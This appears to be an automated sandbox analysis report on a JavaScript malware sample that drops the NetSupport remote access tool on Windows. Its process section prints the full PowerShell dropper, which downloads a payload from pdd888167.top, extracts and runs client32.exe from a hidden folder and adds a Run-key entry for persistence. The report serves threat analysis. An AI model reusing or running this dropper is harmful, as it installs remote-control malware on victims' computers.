Analysis
- max time kernel
142s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
07/05/2024, 01:34
General
- Target 79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa.js
- Size 13.8MB
- Sample240507-by7fcscd9w
- SHA256 79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://pdd888167.top/data.php?11210
-
exe.dropper
https://pdd888167.top/data.php?11210
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\79d564f2de35ca6b1b9d78498019b00f8b3a0b231d619317cdf3bdf2615ba0aa.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IauVJuNNbhStwDjcZTDS='https://pdd888167.top/data.php?11210';$gxsysUJlYwYwPSkgVPNwnoyBpx=(New-Object System.Net.WebClient).DownloadString($IauVJuNNbhStwDjcZTDS);$vEQcpgZIPFWfVqfsgcfCh=[System.Convert]::FromBase64String($gxsysUJlYwYwPSkgVPNwnoyBpx);$zxc = Get-Random -Minimum -10 -Maximum 37; $LlmVqmBaLDT=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $LlmVqmBaLDT -PathType Container)) { New-Item -Path $LlmVqmBaLDT -ItemType Directory };$p=Join-Path $LlmVqmBaLDT 'ah.zip';[System.IO.File]::WriteAllBytes($p,$vEQcpgZIPFWfVqfsgcfCh);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LlmVqmBaLDT)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LlmVqmBaLDT 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$AZ=Get-Item $LlmVqmBaLDT -Force; $AZ.attributes='Hidden';$s=$LlmVqmBaLDT+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX27\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX27\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_1lvukdyu.otu.ps1
HTCTL32.DLL
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcicapi.dll
memory/4752-13-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-19-0x000001F66F540000-0x000001F66F54A000-memory.dmp
memory/4752-20-0x000001F66FE00000-0x000001F66FE12000-memory.dmp
memory/4752-17-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-16-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-117-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-15-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-14-0x00007FF986833000-0x00007FF986835000-memory.dmp
memory/4752-0-0x00007FF986833000-0x00007FF986835000-memory.dmp
memory/4752-12-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-11-0x00007FF986830000-0x00007FF9872F1000-memory.dmp
memory/4752-10-0x000001F66F4F0000-0x000001F66F512000-memory.dmp